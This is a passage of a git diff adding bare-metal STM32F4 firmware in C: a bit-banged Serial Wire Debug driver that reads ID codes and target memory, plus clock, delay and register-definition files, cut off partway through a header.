+    isr_empty,              // FLASH_IRQ 4
+    isr_empty,              // RCC_IRQ 5
+    isr_empty,              // EXTI0_IRQ 6
+    isr_empty,              // EXTI1_IRQ 7
+    isr_empty,              // EXTI2_IRQ 8
+    isr_empty,              // EXTI3_IRQ 9
+    isr_empty,              // EXTI4_IRQ 10
+    isr_empty,              // DMA1_STREAM0_IRQ 11
+    isr_empty,              // DMA1_STREAM1_IRQ 12
+    isr_empty,              // DMA1_STREAM2_IRQ 13
+    isr_empty,              // DMA1_STREAM3_IRQ 14
+    isr_empty,              // DMA1_STREAM4_IRQ 15
+    isr_empty,              // DMA1_STREAM5_IRQ 16
+    isr_empty,              // DMA1_STREAM6_IRQ 17
+    isr_empty,              // ADC_IRQ 18
+    isr_empty,              // CAN1_TX_IRQ 19
+    isr_empty,              // CAN1_RX0_IRQ 20
+    isr_empty,              // CAN1_RX1_IRQ 21
+    isr_empty,              // CAN1_SCE_IRQ 22
+    isr_empty,              // EXTI9_5_IRQ 23
+    isr_empty,              // TIM1_BRK_TIM9_IRQ 24
+    isr_empty,              // TIM1_UP_TIM10_IRQ 25
+    isr_empty,              // TIM1_TRG_COM_TIM11_IRQ 26
+    isr_empty,              // TIM1_CC_IRQ 27
+    isr_empty,              // TIM2_IRQ 28
+    isr_empty,              // TIM3_IRQ 29
+    isr_empty,              // TIM4_IRQ 30
+    isr_empty,              // I2C1_EV_IRQ 31
+    isr_empty,              // I2C1_ER_IRQ 32
+    isr_empty,              // I2C2_EV_IRQ 33
+    isr_empty,              // I2C2_ER_IRQ 34
+    isr_empty,              // SPI1_IRQ 35
+    isr_empty,              // SPI2_IRQ 36
+    isr_empty,              // USART1_IRQ 37
+    isr_empty,              // USART2_IRQ 38
+    isr_empty,              // USART3_IRQ 39
+    isr_empty,              // EXTI15_10_IRQ 40
+    isr_empty,              // RTC_ALARM_IRQ 41
+    isr_empty,              // USB_FS_WKUP_IRQ 42
+    isr_empty,              // TIM8_BRK_TIM12_IRQ 43
+    isr_empty,              // TIM8_UP_TIM13_IRQ 44
+    isr_empty,              // TIM8_TRG_COM_TIM14_IRQ 45
+    isr_empty,              // TIM8_CC_IRQ 46
+    isr_empty,              // DMA1_STREAM7_IRQ 47
+
+};

+ 510 - 0
swd.c

@@ -0,0 +1,510 @@
+/*
+ * This Source Code Form is subject to the terms of the MIT License.
+ * If a copy of the MIT License was not distributed with this file,
+ * you can obtain one at https://opensource.org/licenses/MIT
+ */
+
+#include "main.h"
+#include "system.h"
+#include "swd.h"
+#include "target.h"
+
+#define MWAIT __asm__ __volatile__( \
+		 ".syntax unified 		\n" \
+		 "	movs r0, #0x30 		\n" \
+		 "1: 	subs r0, #1 		\n" \
+		 "	bne 1b 			\n" \
+		 ".syntax divided" : : : 	    \
+		 "cc", "r0")
+
+#define N_READ_TURN (3u)
+
+
+static uint8_t swdParity( uint8_t const * data, uint8_t const len );
+static void swdDatasend( uint8_t const * data, uint8_t const len );
+static void swdDataIdle( void );
+static void swdDataPP( void );
+static void swdTurnaround( void );
+static void swdReset( void );
+static void swdDataRead( uint8_t * const data, uint8_t const len );
+static void swdBuildHeader( swdAccessDirection_t const adir, swdPortSelect_t const portSel, uint8_t const A32, uint8_t * const header);
+static swdStatus_t swdReadPacket( swdPortSelect_t const portSel, uint8_t const A32, uint32_t * const data );
+static swdStatus_t swdWritePacket( swdPortSelect_t const portSel, uint8_t const A32, uint32_t const data );
+static swdStatus_t swdReadAP0( uint32_t * const data );
+
+#ifdef UNUSED_EXPERIMENTAL
+static swdStatus_t swdReadDPCtrl( uint32_t * const data );
+static swdStatus_t swdReadAPCtrl( uint32_t * const data );
+static swdStatus_t swdReadWIREMODE( uint32_t * const data );
+static swdStatus_t swdReadDHCSR( uint32_t * const data );
+static swdStatus_t swdWriteAHBAddr( uint32_t const addr, uint32_t const data );
+static swdStatus_t swdCoreHalt( void );
+static swdStatus_t swdGetRegister( uint8_t const regId, uint32_t * const data );
+#endif
+
+
+static uint8_t swdParity( uint8_t const * data, uint8_t const len )
+{
+	uint8_t par = 0u;
+	uint8_t cdata = 0u;
+	uint8_t i = 0u;
+
+	for (i=0u; i<len; ++i)
+	{
+		if ((i & 0x07u) == 0u)
+		{
+			cdata = *data;
+			++data;
+		}
+
+		par ^= (cdata & 0x01u);
+		cdata >>= 1u;
+	}
+
+	return par;
+}
+
+
+static void swdDatasend( uint8_t const * data, uint8_t const len )
+{
+	uint8_t cdata = 0u;
+	uint8_t i = 0u;
+
+	for (i=0u; i<len; ++i)
+	{
+		if ((i & 0x07u) == 0x00u)
+		{
+			cdata = *data;
+			++data;
+		}
+
+		if ((cdata & 0x01u) == 0x01u)
+		{
+            GPIOA_BSRR |= (1 << PIN_SWDIO);
+		}
+		else
+		{
+            GPIOA_BSRR |= (1 << (PIN_SWDIO + 16));
+		}
+		MWAIT;
+
+        GPIOA_BSRR |= (1 << PIN_SWCLK);
+		MWAIT;
+        GPIOA_BSRR |= (1 << (PIN_SWCLK + 16));
+		cdata >>= 1u;
+		MWAIT;
+	}
+
+	return ;
+}
+
+
+static void swdDataIdle( void )
+{
+    GPIOA_BSRR |= (1 << PIN_SWDIO);
+	MWAIT;
+    GPIOA_MODE &= ~(0x03u << (PIN_SWDIO * 2));
+	MWAIT;
+	return ;
+}
+
+
+static void swdDataPP( void )
+{
+	MWAIT;
+
+    GPIOA_BSRR |= (1 << (PIN_SWDIO + 16));
+    GPIOA_MODE |= (1 << (PIN_SWDIO * 2));
+	MWAIT;
+	return ;
+}
+
+
+static void swdTurnaround( void )
+{
+    GPIOA_BSRR |= (1 << (PIN_SWCLK));
+	MWAIT;
+    GPIOA_BSRR |= (1 << (PIN_SWCLK + 16));
+	MWAIT;
+
+	return ;
+}
+
+
+static void swdDataRead( uint8_t * const data, uint8_t const len )
+{
+	uint8_t i = 0u;
+	uint8_t cdata = 0u;
+
+	MWAIT;
+	swdDataIdle();
+	MWAIT;
+
+	for (i=0u; i<len; ++i)
+	{
+
+		cdata >>= 1u;
+		cdata |= (GPIOA_IDR & (0x01u << (PIN_SWDIO))) ? 0x80u : 0x00u;
+		data[(((len + 7u) >> 3u) - (i >> 3u)) - 1u] = cdata;
+        swdTurnaround();
+
+		/* clear buffer after reading 8 bytes */
+		if ((i & 0x07u) == 0x07u)
+		{
+			cdata = 0u;
+		}
+	}
+
+	return ;
+}
+
+
+static void swdReset( void )
+{
+	uint8_t i = 0u;
+
+	MWAIT;
+    GPIOA_ODR |=  (1 << PIN_SWDIO) | (1 << PIN_SWCLK);
+	MWAIT;
+
+/* Switch from JTAG to SWD mode. Not required for SWD-only devices (STM32F0x). */
+#ifdef DO_JTAG_RESET
+
+	/* 50 clk+x */
+	for (i=0u; i < (50u + 10u); ++i)
+	{
+        swdTurnaround();
+	}
+
+	uint8_t send1[] = {0u, 1u, 1u, 1u, 1u, 0u, 0u, 1u, 1u, 1u, 1u, 0u, 0u, 1u, 1u, 1u};
+	/* send 0111 1001 1110 0111 */
+
+	for (i = 0u; i < 16u; ++i)
+	{
+		if (send1[i])
+            GPIOD_BSRR |= (1 << PIN_SWDIO);
+		else
+            GPIOD_BSRR |= (1 << (PIN_SWDIO + 16));
+
+		MWAIT;
+
+        swdTurnaround();
+	}
+#endif
+
+	/* 50 clk+x */
+	for (i = 0u; i < (50u + 10u); ++i)
+	{
+        swdTurnaround();
+	}
+
+
+    GPIOA_BSRR |= (1 << (PIN_SWDIO + 16));
+
+	for (i = 0u; i < 3u; ++i)
+	{
+        swdTurnaround();
+	}
+
+	return ;
+}
+
+
+static void swdBuildHeader( swdAccessDirection_t const adir, swdPortSelect_t const portSel, uint8_t const A32, uint8_t * const header)
+{
+
+	if (portSel == swdPortSelectAP)
+	{
+		*header |= 0x02u; /* Access AP */
+	}
+
+	if (adir == swdAccessDirectionRead)
+	{
+		*header |= 0x04u; /* read access */
+	}
+
+	switch (A32)
+	{
+		case 0x01u:
+			*header |= 0x08u;
+		break;
+
+		case 0x02u:
+			*header |= 0x10u;
+		break;
+
+		case 0x03u:
+			*header |= 0x18u;
+		break;
+
+		default:
+		case 0x00u:
+
+		break;
+	}
+
+	*header |= swdParity(header, 7u) << 5u;
+	*header |= 0x01u; /* startbit */
+	*header |= 0x80u;
+}
+
+
+static swdStatus_t swdReadPacket( swdPortSelect_t const portSel, uint8_t const A32, uint32_t * const data )
+{
+	swdStatus_t ret = swdStatusNone;
+	uint8_t header = 0x00u;
+	uint8_t rp[1] = {0x00u};
+	uint8_t resp[5] = {0u};
+	uint8_t i = 0u;
+
+	swdBuildHeader( swdAccessDirectionRead, portSel, A32, &header );
+
+	swdDatasend( &header, 8u );
+	swdDataIdle();
+	swdTurnaround();
+	swdDataRead( rp, 3u );
+
+	swdDataRead( resp, 33u );
+
+	swdDataPP();
+
+	for (i=0u; i < N_READ_TURN; ++i)
+	{
+		swdTurnaround();
+	}
+
+	*data = resp[4] | (resp[3] << 8u) | (resp[2] << 16u) | (resp[1] << 24u);
+
+	ret = rp[0];
+
+	return ret;
+}
+
+
+static swdStatus_t swdWritePacket( swdPortSelect_t const portSel, uint8_t const A32, uint32_t const data )
+{
+	swdStatus_t ret = swdStatusNone;
+	uint8_t header = 0x00u;
+	uint8_t rp[1] = {0x00u};
+	uint8_t data1[5] = {0u};
+	uint8_t i = 0u;
+
+	swdBuildHeader( swdAccessDirectionWrite, portSel, A32, &header );
+
+	swdDatasend( &header, 8u );
+	MWAIT;
+
+	swdDataIdle();
+	MWAIT;
+
+	swdTurnaround();
+
+	swdDataRead( rp, 3u );
+
+	swdDataIdle();
+
+	swdTurnaround();
+	swdDataPP();
+
+	data1[0] = data & 0xFFu;
+	data1[1] = (data >> 8u) & 0xFFu;
+	data1[2] = (data >> 16u) & 0xFFu;
+	data1[3] = (data >> 24u) & 0xFFu;
+	data1[4] = swdParity(data1, 8u * 4u);
+
+	swdDatasend( data1, 33u );
+
+	swdDataPP();
+
+	for (i=0u; i < 20u; ++i)
+	{
+		swdTurnaround();
+	}
+
+	ret = rp[0];
+
+	return ret;
+}
+
+
+swdStatus_t swdReadIdcode( uint32_t * const idCode )
+{
+	uint32_t ret = 0u;
+
+	ret = swdReadPacket(swdPortSelectDP, 0x00u, idCode);
+
+	return ret;
+}
+
+
+swdStatus_t swdSelectAPnBank(uint8_t const ap, uint8_t const bank)
+{
+	swdStatus_t ret = swdStatusNone;
+	uint32_t data = 0x00000000u;
+
+	data |= (uint32_t) (ap & 0xFFu) << 24u;
+	data |= (uint32_t) (bank & 0x0Fu) << 0u;
+
+	/* write to select register */
+	ret |= swdWritePacket(swdPortSelectDP, 0x02u, data);
+
+	return ret;
+}
+
+
+static swdStatus_t swdReadAP0( uint32_t * const data )
+{
+	swdStatus_t ret = swdStatusNone;
+
+	swdReadPacket(swdPortSelectAP, 0x00u, data);
+
+	return ret;
+}
+
+
+swdStatus_t swdSetAP32BitMode( uint32_t * const data )
+{
+	swdStatus_t ret = swdStatusNone;
+
+	swdSelectAPnBank( 0x00u, 0x00u );
+
+	uint32_t d = 0u;
+
+	ret |= swdReadAP0( &d );
+
+	ret |= swdReadPacket(swdPortSelectDP, 0x03u, &d);
+
+	d &= ~(0x07u);
+	d |= 0x02u;
+
+	ret |= swdWritePacket(swdPortSelectAP, 0x00u, d);
+
+	ret |= swdReadAP0( &d );
+	ret |= swdReadPacket(swdPortSelectDP, 0x03u, &d);
+
+	if (data != NULL)
+	{
+		*data = d;
+	}
+
+	return ret;
+}
+
+
+swdStatus_t swdSelectAHBAP( void )
+{
+	swdStatus_t ret = swdSelectAPnBank(0x00u, 0x00u);
+
+	return ret;
+}
+
+
+swdStatus_t swdReadAHBAddr( uint32_t const addr, uint32_t * const data )
+{
+	swdStatus_t ret = swdStatusNone;
+	uint32_t d = 0u;
+
+	ret |= swdWritePacket(swdPortSelectAP, 0x01u, addr);
+
+	ret |= swdReadPacket(swdPortSelectAP, 0x03u, &d);
+	ret |= swdReadPacket(swdPortSelectDP, 0x03u, &d);
+
+	*data = d;
+
+	return ret;
+}
+
+
+swdStatus_t swdEnableDebugIF( void )
+{
+	swdStatus_t ret = swdStatusNone;
+
+	ret |= swdWritePacket(swdPortSelectDP, 0x01u, 0x50000000u);
+
+	return ret;
+}
+
+
+swdStatus_t swdInit( uint32_t * const idcode )
+{
+	swdStatus_t ret = swdStatusNone;
+
+	swdReset();
+	ret |= swdReadIdcode( idcode );
+
+	return ret;
+}
+
+
+#ifdef UNUSED_EXPERIMENTAL
+static swdStatus_t swdReadDPCtrl( uint32_t * const data )
+{
+	swdStatus_t ret = swdStatusNone;
+
+	ret |= swdSelectAPnBank(0x00u, 0x00u);
+	ret |= swdReadPacket(swdPortSelectAP, 0x01u, data);
+
+	return ret;
+}
+
+
+static swdStatus_t swdReadAPCtrl( uint32_t * const data )
+{
+	swdStatus_t ret = swdStatusNone;
+
+	ret |= swdReadPacket(swdPortSelectDP, 0x01u, data);
+
+	return ret;
+}
+
+
+static swdStatus_t swdReadWIREMODE( uint32_t * const data )
+{
+	swdStatus_t ret = swdStatusNone;
+
+	ret |= swdWritePacket(swdPortSelectDP, 0x02u, 0x00000001u);
+	ret |= swdReadPacket(swdPortSelectDP, 0x01u, data);
+
+	return data;
+}
+
+
+static swdStatus_t swdReadDHCSR( uint32_t * const data )
+{
+	swdStatus_t ret = swdReadAHBAddr(0xE000EDF0u, data);
+
+	return ret;
+}
+
+
+static swdStatus_t swdWriteAHBAddr( uint32_t const addr, uint32_t const data )
+{
+	swdStatus_t ret = swdStatusNone;
+
+	ret |= swdWritePacket(swdPortSelectAP, 0x01u, addr);
+	ret |= swdWritePacket(swdPortSelectAP, 0x03u, data);
+
+	return ret;
+}
+
+
+static swdStatus_t swdCoreHalt( void )
+{
+	swdStatus_t ret = swdStatusNone;
+
+	ret |= swdWriteAHBAddr(0xE000EDF0u, 0xA05F0003u);
+
+	return ret;
+}
+
+
+static swdStatus_t swdGetRegister( uint8_t const regId, uint32_t * const data )
+{
+	swdWriteAHBAddr(0xE000EDF4u, regId & 0x1Fu);
+
+	swdStatus_t ret = swdReadAHBAddr(0xE000EDF8u, data);
+
+	return ret;
+}
+
+#endif

+ 56 - 0
swd.h

@@ -0,0 +1,56 @@
+/*
+ * This Source Code Form is subject to the terms of the MIT License.
+ * If a copy of the MIT License was not distributed with this file,
+ * you can obtain one at https://opensource.org/licenses/MIT
+ */
+
+#ifndef INC_SWD_H
+#define INC_SWD_H
+#include <stdint.h>
+
+
+#define RCC_AHBENR_GPIO_SWDIO (RCC_AHBENR_GPIOAEN)
+#define RCC_AHBENR_GPIO_SWCLK (RCC_AHBENR_GPIOAEN)
+
+#define GPIO_SWDIO (GPIOA)
+#define PIN_SWDIO (13u)
+
+#define GPIO_SWCLK (GPIOA)
+#define PIN_SWCLK (14u)
+
+
+/* Internal SWD status. There exist combined SWD status values (e.g. 0x60), since subsequent command replys are OR'ed. Thus there exist cases where the previous command executed correctly (returned 0x20) and the following command failed (returned 0x40), resulting in 0x60. */
+typedef enum {
+	// TODO: 0xA0 fehlt.
+	swdStatusNone = 0x00u,		/* No status available (yet) */
+	swdStatusOk = 0x20u,		/* Status OK */
+	swdStatusWait = 0x40u,		/* Wait/Retry requested (bus access was not granted in time) */
+	swdStatusWaitOK = 0x60u,	/* Wait requested + additional OK (previous command OK, but no bus access) */
+	swdStatusFault = 0x80u,		/* Fault during command execution (command error (access denied etc.)) */
+	swdStatusFaultOK = 0xA0u,	/* Fault during command execution, previous command was successful */
+	swdStatusFailure = 0xE0u	/* Failure during communication (check connection, no valid status reply received) */
+} swdStatus_t;
+
+
+typedef enum {
+	swdPortSelectDP = 0x00u,
+	swdPortSelectAP = 0x01u
+} swdPortSelect_t;
+
+
+typedef enum {
+	swdAccessDirectionWrite = 0x00u,
+	swdAccessDirectionRead = 0x01u
+} swdAccessDirection_t;
+
+
+void swdCtrlInit( void );
+swdStatus_t swdEnableDebugIF( void );
+swdStatus_t swdReadIdcode( uint32_t * const idCode );
+swdStatus_t swdSelectAPnBank(uint8_t const ap, uint8_t const bank);
+swdStatus_t swdReadAHBAddr( uint32_t const addr, uint32_t * const data );
+swdStatus_t swdInit( uint32_t * const idcode );
+swdStatus_t swdSetAP32BitMode( uint32_t * const data );
+swdStatus_t swdSelectAHBAP( void );
+
+#endif

+ 182 - 0
system.c

@@ -0,0 +1,182 @@
+/*
+ *
+ * MIT License
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ * 
+ * The above copyright notice and this permission notice shall be included in all
+ * copies or substantial portions of the Software.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+#include <stdint.h>
+#include "system.h"
+
+volatile uint32_t cpu_freq = 168000000;
+
+static void flash_set_waitstates(int waitstates)
+{
+    FLASH_ACR |=  waitstates | FLASH_ACR_ENABLE_DATA_CACHE | FLASH_ACR_ENABLE_INST_CACHE;
+}
+
+void clock_pll_off(void)
+{
+    uint32_t reg32;
+    /* Enable internal high-speed oscillator. */
+    RCC_CR |= RCC_CR_HSION;
+    DMB();
+    while ((RCC_CR & RCC_CR_HSIRDY) == 0) {};
+
+    /* Select HSI as SYSCLK source. */
+    reg32 = RCC_CFGR;
+    reg32 &= ~((1 << 1) | (1 << 0));
+    RCC_CFGR = (reg32 | RCC_CFGR_SW_HSI);
+    DMB();
+
+    /* Turn off PLL */
+    RCC_CR &= ~RCC_CR_PLLON;
+    DMB();
+}
+
+
+void clock_pll_on(int powersave)
+{
+    uint32_t reg32;
+    uint32_t plln, pllm, pllq, pllp, pllr, hpre, ppre1, ppre2, flash_waitstates;
+    
+    /* Enable Power controller */
+    APB1_CLOCK_ER |= PWR_APB1_CLOCK_ER_VAL;
+
+    /* Select clock parameters */
+    if (powersave) { /* 48 MHz */
+        cpu_freq = 48000000;
+        pllm = 8;
+        plln = 96;
+        pllp = 2;
+        pllq = 2;
+        pllr = 0;
+        hpre = RCC_PRESCALER_DIV_NONE;
+        ppre1 = RCC_PRESCALER_DIV_4; 
+        ppre2 = RCC_PRESCALER_DIV_2;
+        flash_waitstates = 5;
+    } else { /* 168 MHz */
+        cpu_freq = 168000000;
+        pllm = 8;
+        plln = 336;
+        pllp = 2;
+        pllq = 7;
+        pllr = 0;
+        hpre = RCC_PRESCALER_DIV_NONE;
+        ppre1 = RCC_PRESCALER_DIV_4; 
+        ppre2 = RCC_PRESCALER_DIV_2;
+        flash_waitstates = 3;
+    }
+
+    flash_set_waitstates(flash_waitstates);
+
+    (void)pllr;
+
+    /* Enable internal high-speed oscillator. */
+    RCC_CR |= RCC_CR_HSION;
+    DMB();
+    while ((RCC_CR & RCC_CR_HSIRDY) == 0) {};
+
+    /* Select HSI as SYSCLK source. */
+    reg32 = RCC_CFGR;
+    reg32 &= ~((1 << 1) | (1 << 0));
+    RCC_CFGR = (reg32 | RCC_CFGR_SW_HSI);
+    DMB();
+
+    /* Enable external high-speed oscillator 8MHz. */
+    RCC_CR |= RCC_CR_HSEON;
+    DMB();
+    while ((RCC_CR & RCC_CR_HSERDY) == 0) {};
+
+    /*
+     * Set prescalers for AHB, ADC, ABP1, ABP2.
+     */
+    reg32 = RCC_CFGR;
+    reg32 &= ~(0xF0);
+    RCC_CFGR = (reg32 | (hpre << 4));
+    DMB();
+    reg32 = RCC_CFGR;
+    reg32 &= ~(0x1C00);
+    RCC_CFGR = (reg32 | (ppre1 << 10));
+    DMB();
+    reg32 = RCC_CFGR;
+    reg32 &= ~(0x07 << 13);
+    RCC_CFGR = (reg32 | (ppre2 << 13));
+    DMB();
+
+    /* Set PLL config */
+    reg32 = RCC_PLLCFGR;
+    reg32 &= ~(PLL_FULL_MASK);
+    RCC_PLLCFGR = reg32 | RCC_PLLCFGR_PLLSRC | pllm | 
+        (plln << 6) | (((pllp >> 1) - 1) << 16) | 
+        (pllq << 24); 
+    DMB();
+
+    /* Enable power-save mode if selected */
+    if (powersave) { 
+        POW_CR |= (POW_CR_VOS);
+    }
+
+    /* Enable PLL oscillator and wait for it to stabilize. */
+    RCC_CR |= RCC_CR_PLLON;
+    DMB();
+    while ((RCC_CR & RCC_CR_PLLRDY) == 0) {};
+
+    /* Select PLL as SYSCLK source. */
+    reg32 = RCC_CFGR;
+    reg32 &= ~((1 << 1) | (1 << 0));
+    RCC_CFGR = (reg32 | RCC_CFGR_SW_PLL);
+    DMB();
+
+    /* Wait for PLL clock to be selected. */
+    while ((RCC_CFGR & ((1 << 1) | (1 << 0))) != RCC_CFGR_SW_PLL) {};
+
+    /* Disable internal high-speed oscillator. */
+    RCC_CR &= ~RCC_CR_HSION;
+}
+
+void systick_on( void )
+{
+	/* Initialize the Systick timer (no interrupts!) */
+	SYSTICK_CSR = SYSTICK_CSR_ON;
+	SYSTICK_CVR = SYSTICK_MAX;
+}
+
+void waitus( uint16_t const us )
+{
+	uint32_t cmpTicks = 0u;
+	SYSTICK_CVR = SYSTICK_MAX;
+	cmpTicks = SYSTICK_MAX - ((uint32_t) us * SYSTICK_TICKS_PER_US);
+	while (SYSTICK_CVR >= cmpTicks)
+	{
+		; /* Wait */
+	}
+	return ;
+}
+
+void waitms( uint16_t const ms )
+{
+	uint16_t timeMs = ms;
+	while (timeMs)
+	{
+		waitus(1000u);
+		--timeMs;
+	}
+	return ;
+}
+
+

+ 249 - 0
system.h

@@ -0,0 +1,249 @@
+#ifndef SYSTEM_H_INCLUDED
+#define SYSTEM_H_INCLUDED
+#include <stdint.h>
+
+void systick_on(void);
+void waitus( uint16_t const us );
+void waitms( uint16_t const us );
+
+/* System specific: PLL with 8 MHz external oscillator, CPU at 168MHz */
+#define CPU_FREQ (168000000)
+#define PLL_FULL_MASK (0x7F037FFF)
+
+/* STM32 specific defines */
+#define APB1_CLOCK_ER           (*(volatile uint32_t *)(0x40023840))
+#define APB1_CLOCK_RST          (*(volatile uint32_t *)(0x40023820))
+#define TIM2_APB1_CLOCK_ER_VAL 	(1 << 0)
+#define PWR_APB1_CLOCK_ER_VAL   (1 << 28)
+
+#define APB2_CLOCK_ER (*(volatile uint32_t *)(0x40023844))
+#define APB2_CLOCK_RST          (*(volatile uint32_t *)(0x40023824))
+#define SYSCFG_APB2_CLOCK_ER (1 << 14)
+
+/* SCB for sleep configuration */
+#define SCB_SCR (*(volatile uint32_t *)(0xE000ED10))
+#define SCB_SCR_SEVONPEND	(1 << 4)
+#define SCB_SCR_SLEEPDEEP		(1 << 2)
+#define SCB_SCR_SLEEPONEXIT (1 << 1)
+
+/* Systick */
+#define SYSTICK_BASE (0xE000E010)
+#define SYSTICK_CSR     (*(volatile uint32_t *)(SYSTICK_BASE + 0x00))
+#define SYSTICK_RVR     (*(volatile uint32_t *)(SYSTICK_BASE + 0x04))
+#define SYSTICK_CVR     (*(volatile uint32_t *)(SYSTICK_BASE + 0x08))
+#define SYSTICK_CALIB   (*(volatile uint32_t *)(SYSTICK_BASE + 0x0C))
+#define SYSTICK_MAX (0xFFFFFFu)
+#define SYSTICK_TICKS_PER_US (CPU_FREQ / 1000000u)
+#define SYSTICK_CSR_ON (0x00000005u)
+
+/* Assembly helpers */
+#define DMB() __asm__ volatile ("dmb")
+#define WFI() __asm__ volatile ("wfi")
+#define WFE() __asm__ volatile ("wfe")
+#define SEV() __asm__ volatile ("sev")
+
+/* Master clock setting */
+void clock_pll_on(int powersave);
+void clock_pll_off(void);
+
+
+/* NVIC */
+/* NVIC ISER Base register (Cortex-M) */
+#define NVIC_EXTI0_IRQN          (6)
+#define NVIC_TIM2_IRQN          (28)
+#define NVIC_ISER_BASE (0xE000E100)
+#define NVIC_ICER_BASE (0xE000E180)
+#define NVIC_ICPR_BASE (0xE000E280)
+#define NVIC_IPRI_BASE (0xE000E400)
+
+#define CUSTOM_HW
+
+#ifdef CUSTOM_HW
+#   define BLUE_LED_PIN (0)
+#   define GREEN_LED_PIN (0)
+#   define BUTTON_PIN (15)
+#   define LED_BSRR GPIOE_BSRR
+#   define BUTTON_IDR GPIOD_IDR
+#else
+#   define BLUE_LED_PIN (15)
+#   define RED_LED_PIN (14)
+#   define ORANGE_LED_PIN (13)
+#   define GREEN_LED_PIN (12)
+#   define LED_BSRR GPIOD_BSRR
+#   define BUTTON_IDR GPIOA_IDR
+#   define BUTTON_PIN (0)
+#endif
+
+
+#define AHB1_CLOCK_ER (*(volatile uint32_t *)(0x40023830))
+#define GPIOA_AHB1_CLOCK_ER (1 << 0)
+#define GPIOB_AHB1_CLOCK_ER (1 << 1)
+#define GPIOC_AHB1_CLOCK_ER (1 << 2)
+#define GPIOD_AHB1_CLOCK_ER (1 << 3)
+#define GPIOE_AHB1_CLOCK_ER (1 << 4)
+#define GPIOF_AHB1_CLOCK_ER (1 << 5)
+
+#define GPIOA_BASE 0x40020000
+#define GPIOD_BASE 0x40020c00
+#define GPIOE_BASE 0x40021000
+#define GPIOA GPIOA_BASE
+#define GPIOD GPIOD_BASE
+#define GPIOE GPIOE_BASE
+#define GPIOA_MODE (*(volatile uint32_t *)(GPIOA_BASE + 0x00))
+#define GPIOA_IDR  (*(volatile uint32_t *)(GPIOA_BASE + 0x10))
+#define GPIOA_OTYPE (*(volatile uint32_t *)(GPIOA_BASE + 0x04))
+#define GPIOA_OSPD  (*(volatile uint32_t *)(GPIOD_BASE + 0x08))
+#define GPIOA_PUPD (*(volatile uint32_t *)(GPIOA_BASE + 0x0c))
+#define GPIOA_ODR  (*(volatile uint32_t *)(GPIOA_BASE + 0x14))
+#define GPIOA_BSRR (*(volatile uint32_t *)(GPIOA_BASE + 0x18))
+#define GPIOD_MODE (*(volatile uint32_t *)(GPIOD_BASE + 0x00))
+#define GPIOD_OTYPE (*(volatile uint32_t *)(GPIOD_BASE + 0x04))
+#define GPIOD_OSPD  (*(volatile uint32_t *)(GPIOD_BASE + 0x08))
+#define GPIOD_IDR  (*(volatile uint32_t *)(GPIOD_BASE + 0x10))
+#define GPIOD_PUPD (*(volatile uint32_t *)(GPIOD_BASE + 0x0c))
+#define GPIOD_ODR  (*(volatile uint32_t *)(GPIOD_BASE + 0x14))
+#define GPIOD_BSRR (*(volatile uint32_t *)(GPIOD_BASE + 0x18))
+#define GPIOE_MODE (*(volatile uint32_t *)(GPIOE_BASE + 0x00))
+#define GPIOE_OTYPE (*(volatile uint32_t *)(GPIOE_BASE + 0x04))
+#define GPIOE_OSPD  (*(volatile uint32_t *)(GPIOE_BASE + 0x08))
+#define GPIOE_PUPD (*(volatile uint32_t *)(GPIOE_BASE + 0x0c))
+#define GPIOE_ODR  (*(volatile uint32_t *)(GPIOE_BASE + 0x14))
+#define GPIOE_BSRR (*(volatile uint32_t *)(GPIOE_BASE + 0x18))
+
+static inline void nvic_irq_enable(uint8_t n)
+{
+    int i = n / 32;
+    volatile uint32_t *nvic_iser = ((volatile uint32_t *)(NVIC_ISER_BASE + 4 * i));
+    *nvic_iser |= (1 << (n % 32));
+}
+
+static inline void nvic_irq_disable(uint8_t n)
+{
+    int i = n / 32;
+    volatile uint32_t *nvic_icer = ((volatile uint32_t *)(NVIC_ICER_BASE + 4 * i));
+    *nvic_icer |= (1 << (n % 32));
+}
+
+static inline void nvic_irq_setprio(uint8_t n, uint8_t prio)
+{
+    volatile uint8_t *nvic_ipri = ((volatile uint8_t *)(NVIC_IPRI_BASE + n));
+    *nvic_ipri = prio;
+}
+
+
+static inline void nvic_irq_clear(uint8_t n)
+{
+    int i = n / 32;
+    volatile uint8_t *nvic_icpr = ((volatile uint8_t *)(NVIC_ICPR_BASE + 4 * i));
+    *nvic_icpr = (1 << (n % 32));
+}
+
+
+
+/*** FLASH ***/
+#define FLASH_BASE (0x40023C00)
+#define FLASH_ACR  (*(volatile uint32_t *)(FLASH_BASE + 0x00))
+#define FLASH_ACR_ENABLE_DATA_CACHE (1 << 10)
+#define FLASH_ACR_ENABLE_INST_CACHE (1 << 9)
+
+/*** RCC ***/
+
+#define RCC_BASE (0x40023800)
+#define RCC_CR      (*(volatile uint32_t *)(RCC_BASE + 0x00))
+#define RCC_PLLCFGR (*(volatile uint32_t *)(RCC_BASE + 0x04))
+#define RCC_CFGR    (*(volatile uint32_t *)(RCC_BASE + 0x08))
+#define RCC_CR      (*(volatile uint32_t *)(RCC_BASE + 0x00))
+
+#define RCC_CR_PLLRDY               (1 << 25)
+#define RCC_CR_PLLON                (1 << 24)
+#define RCC_CR_HSERDY               (1 << 17)
+#define RCC_CR_HSEON                (1 << 16)
+#define RCC_CR_HSIRDY               (1 << 1)
+#define RCC_CR_HSION                (1 << 0)
+
+#define RCC_CFGR_SW_HSI             0x0
+#define RCC_CFGR_SW_HSE             0x1
+#define RCC_CFGR_SW_PLL             0x2
+
+
+#define RCC_PLLCFGR_PLLSRC          (1 << 22)
+
+#define RCC_PRESCALER_DIV_NONE 0
+#define RCC_PRESCALER_DIV_2    8
+#define RCC_PRESCALER_DIV_4    9
+
+/* POWER CONTROL REGISTER */
+#define POW_BASE (0x40007000)
